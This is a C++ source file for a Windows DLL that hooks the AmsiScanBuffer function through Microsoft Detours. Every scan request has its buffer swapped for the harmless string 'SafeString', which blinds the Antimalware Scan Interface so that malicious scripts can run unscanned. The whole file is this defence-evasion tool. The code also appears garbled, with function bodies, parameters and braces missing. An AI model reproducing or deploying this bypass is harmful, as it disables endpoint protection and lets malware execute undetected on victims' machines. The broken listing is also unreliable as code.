#include "include/detours.h"
#pragma comment(lib, "amsi.lib")
#pragma comment(lib,"lib.X64/detours.lib")
#define SafeString "SafeString"
static HRESULT(WINAPI* _AmsiScanBuffer)(
HAMSICONTEXT amsiContext,
HAMSISESSION amsiSession,
HRESULT WINAPI AmsiScanBuffer_(
HAMSICONTEXT amsiContext,
HAMSISESSION amsiSession,
return _AmsiScanBuffer(amsiContext, (BYTE*)SafeString, length, contentName, amsiSession, result);
BOOL APIENTRY DllMain(HANDLE hModule, DWORD ul_reason_for_call, LPVOID lpReserved)
if (DetourIsHelperProcess()) {
switch (ul_reason_for_call)
DetourTransactionBegin();
DetourUpdateThread(GetCurrentThread());
DetourAttach(&(PVOID&)_AmsiScanBuffer, AmsiScanBuffer_);
DetourTransactionCommit();
DetourTransactionBegin();
DetourUpdateThread(GetCurrentThread());
DetourDetach(&(PVOID&)_AmsiScanBuffer, AmsiScanBuffer_);
DetourTransactionCommit();